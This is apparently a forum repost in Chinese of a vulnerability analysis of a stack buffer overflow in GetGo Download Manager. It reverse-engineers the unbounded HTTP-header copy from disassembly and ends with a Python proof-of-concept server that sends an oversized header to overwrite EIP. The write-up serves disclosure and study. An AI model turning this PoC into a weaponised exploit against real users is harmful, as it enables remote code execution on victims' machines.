前些时候我发布了一篇关于远程代码执行漏洞的安全公告,被CVSS评了10分。该漏洞影响所有版本的GetGo DownloadManager,因此如果有读者在使用这款软件话,请务必用一款更安全的软件代替,因为GetGo项目已经不再被支持了,但是其再在cnet.com网站仍然评级依然很高。
本文简单介绍一下该bug的起因,并在打了全部补丁以及启用了DEP保护的Windows 7 64位系统上进行测试:
当向一个网站请求下载时,下载器会读取目标页面返回的HTTP响应头的值,并将该返回值保存到一块固定大小为4097字节的临时缓存中,但该尺寸并没有被用来限制拷贝到这块缓存中的输入的大小,只是将输入内容一个字节一个字节地拷贝到临时缓存中,直到遇到“\r\n”为止。因此如果HTTP响应头的大小超过了4097字节,就会被写到这块内存的界限之外了。
下面我们看一下这款下载器如何处理HTTP下载。
当用户像上图一样请求下载时,调试器跳转到断点0x004A4CF4处,正是包含漏洞的代码部分的入口点:
[AppleScript] 纯文本查看 复制代码 004A4CDE . 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8]
004A4CE1 . 51 PUSH ECX ; /Arg3
004A4CE2 . 68 01100000 PUSH 1001 ; |Arg2 = 00001001
004A4CE7 . 8D95 DCEFFFFF LEA EDX,DWORD PTR SS:[EBP-1024] ; |
004A4CED . 52 PUSH EDX ; |Arg1
004A4CEE . 8B8D 9CEFFFFF MOV ECX,DWORD PTR SS:[EBP-1064] ; |
004A4CF4 . E8 77EDFFFF CALL GetGoDM.004A3A70 ; \GetGoDM.004A3A70
该函数包含三个参数,将其转换为相应的c语言风格的函数调用,如下所示:
[AppleScript] 纯文本查看 复制代码 int vuln_func(void *buffer, size_t arg2, int arg3)
栈内包含三个参数,参数1位于缓存的0x0430C390处,参数2位于0×00001001处,参数3位于0×00000078处,如图2所示:
小提示:本示例中你可以完全忽略参数3,因为该值只是用来表示ws2_32版本的select函数从socket中读取内容时的timeout时间:
这里发生了什么?
在vuln_func()中,第一组重要的指令集为:
[AppleScript] 纯文本查看 复制代码 004A3A9F |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C]
004A3AA2 |. 50 PUSH EAX
004A3AA3 |. 6A 00 PUSH 0
004A3AA5 |. 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8]
004A3AA8 |. 51 PUSH ECX
004A3AA9 |. E8 F2650400 CALL GetGoDM.004EA0A0
位于0x004A3AA9 的函数使用的三个参数,正是其被调用时,父函数传进来的三个函数。系统将这3个参数压入栈:
[AppleScript] 纯文本查看 复制代码 0430C2E4 0430C390 | arg1
0430C2E8 00000000 | arg2
0430C2EC 00001001 | arg3
该函数只相当于执行了一个简单的memset函数,因此函数调用如下所示:
[AppleScript] 纯文本查看 复制代码 void memset(void *arg1, int arg2, size_t arg3)
memset函数的功能很简单,用最多arg3个字节的unsigned char类型的数值(arg2)填充arg1指向的内存中,也就是说,地址0x430C390 指向的缓存空间被4097个0×00填充。
接下来对包含漏洞的代码部分进行分析:
这里需要对漏洞的构成做一些详细解释,因此下文将程序的一个循环分成两部分进行说明:
Part 1 在HTTP响应头中读取一个字节
[AppleScript] 纯文本查看 复制代码 004A3AE3 |. 8B45 10 |MOV EAX,DWORD PTR SS:[EBP+10]
004A3AE6 |. 50 |PUSH EAX ; /Arg3
004A3AE7 |. 6A 01 |PUSH 1 ; |Arg2 = 00000001
004A3AE9 |. 8B4D F0 |MOV ECX,DWORD PTR SS:[EBP-10] ; |
004A3AEC |. 8B55 08 |MOV EDX,DWORD PTR SS:[EBP+8] ; |
004A3AEF |. 8D440A FF |LEA EAX,DWORD PTR DS:[EDX+ECX-1] ; |
004A3AF3 |. 50 |PUSH EAX ; |Arg1
004A3AF4 |. 8B4D D8 |MOV ECX,DWORD PTR SS:[EBP-28] ; |
004A3AF7 |. 83C1 0C |ADD ECX,0C ; |
004A3AFA |. E8 81A4FFFF |CALL GetGoDM.0049DF80 ; \GetGoDM.0049DF80
地址0x004A3AFA 处的函数调用需要三个参数:
[AppleScript] 纯文本查看 复制代码 int read_byte(void *buffer, char *arg2, int arg3)
其中第一个参数arg1指向缓存,arg2总是0×00000001,arg3总是0×00000078。该函数从接收到的HTTP响应头中读取一个字节,如果成功,就把读取的值保存到arg1指向的缓存,并返回1。
结尾处的CMP指令用来判断读取是否成功,如果不成功就在0x004A3B0F处跳出循环。
[AppleScript] 纯文本查看 复制代码 004A3AFF |. 8945 E8 |MOV DWORD PTR SS:[EBP-18],EAX
004A3B02 |. 837D E8 00 |CMP DWORD PTR SS:[EBP-18],0
004A3B06 |. 75 09 |JNZ SHORT GetGoDM.004A3B11
004A3B08 |. C745 EC 000000>|MOV DWORD PTR SS:[EBP-14],0
004A3B0F |. EB 49 |JMP SHORT GetGoDM.004A3B5A
Part 2 对比接收的字符串,直到遇到“\r\n”
[AppleScript] 纯文本查看 复制代码 [attach]3155[/attach]
004A3B26 |. 6A 00 |PUSH 0 ; /Arg2 = 00000000
004A3B28 |. 68 F8D76600 |PUSH GetGoDM.0066D7F8 ; |Arg1 = 0066D7F8 ASCII "
"
004A3B2D |. 8D4D E4 |LEA ECX,DWORD PTR SS:[EBP-1C] ; |
004A3B30 |. E8 2B5AF6FF |CALL GetGoDM.00409560 ; \GetGoDM.00409560
地址0x004A3B30 处的函数调用包含两个参数——参数1包含一个以“\r\n”结尾字符串,参数2总是0×00000000。同时该函数会从栈中读取已经接收的字节,并与“\r\n”进行比较:
[AppleScript] 纯文本查看 复制代码 0040959E |. 0345 0C ADD EAX,DWORD PTR SS:[EBP+C] ; |
004095A1 |. 50 PUSH EAX ; |Arg1
004095A2 |. E8 79120A00 CALL GetGoDM.004AA820 ; \GetGoDM.004AA820
因此该函数可以构造成如下形式:
[AppleScript] 纯文本查看 复制代码 signed int search_teminator(*buffer, "\r\n", 0)
如果没有找到“\r\n”,则函数返回-1,并执行以下CMP指令:
[AppleScript] 纯文本查看 复制代码 004A3B38 |. 837D E0 FF |CMP DWORD PTR SS:[EBP-20],-1
004A3B3C |. 74 11 |JE SHORT GetGoDM.004A3B4F
即函数search_teminator()的返回值与-1比较,就是说如果JMP指令被执行了,表示以下指令也被程序执行了,包括利用JMP指令跳回到这段代码的开始部分:
[AppleScript] 纯文本查看 复制代码 004A3B4F |> 8B55 F0 |MOV EDX,DWORD PTR SS:[EBP-10]
004A3B52 |. 83C2 01 |ADD EDX,1
004A3B55 |. 8955 F0 |MOV DWORD PTR SS:[EBP-10],EDX
004A3B58 |.^EB 80 \JMP SHORT GetGoDM.004A3ADA
但是如果函数search_terminator()找到“\r\n”,会返回字符串的位置,CMP指令就会返回错误,以下指令就会被执行,并跳出循环:
[AppleScript] 纯文本查看 复制代码 004A3B3E |. 8B45 08 |MOV EAX,DWORD PTR SS:[EBP+8]
004A3B41 |. 0345 E0 |ADD EAX,DWORD PTR SS:[EBP-20]
004A3B44 |. C600 00 |MOV BYTE PTR DS:[EAX],0
004A3B47 |. 8B4D E0 |MOV ECX,DWORD PTR SS:[EBP-20]
004A3B4A |. 894D EC |MOV DWORD PTR SS:[EBP-14],ECX
004A3B4D |. EB 0B |JMP SHORT GetGoDM.004A3B5A
逆向工程
通过以上分析,可以将包含漏洞的代码转换为类似如下的C代码片段:
[AppleScript] 纯文本查看 复制代码 int vuln_func(void *buffer, size_t arg2, int arg3)
{
int a;
signed int b;
memset(void *buffer, 0, arg2);
while (1)
{
a = read_byte(*buffer, 1 , arg3)
if ( !a )
{
goto fail;
}
b = search_terminator(*buffer, "\r\n", 0)
if ( b != -1 )
break;
}
fail:
return 0;
}
看出其中的问题了吗?表示大小的参数(arg2)被memset函数用来准备内存空间,但while循环中会读取响应头中的所有字节,直到找到“\r\n”为止,完全忽略了arg2。那么,如果攻击者可以构造出多于4097个字节的HTTP响应头,就会导致写入的缓存超过内存的边界,也就构成了基于栈的缓冲区溢出条件,导致远程代码执行。
构造PoC
以下PoC代码创建了一个简单的web服务器,用来响应超出预期大小的HTTP头:
[AppleScript] 纯文本查看 复制代码 from socket import *
from time import sleep
host = "192.168.0.1"
port = 80
s = socket(AF_INET, SOCK_STREAM)
s.bind((host, port))
s.listen(1)
print "\n[+] Listening on %d ..." % port
cl, addr = s.accept()
print "[+] Connection accepted from %s" % addr[0]
payload = "\xCC" * 9000
buffer = "HTTP/1.1 200 "+payload+"\r\n"
print cl.recv(1000)
cl.send(buffer)
print "[+] Sending buffer: OK\n"
sleep(1)
cl.close()
s.close()
控制了EIP,就可以随心所欲XXOO了。是不是很爽:-)!
|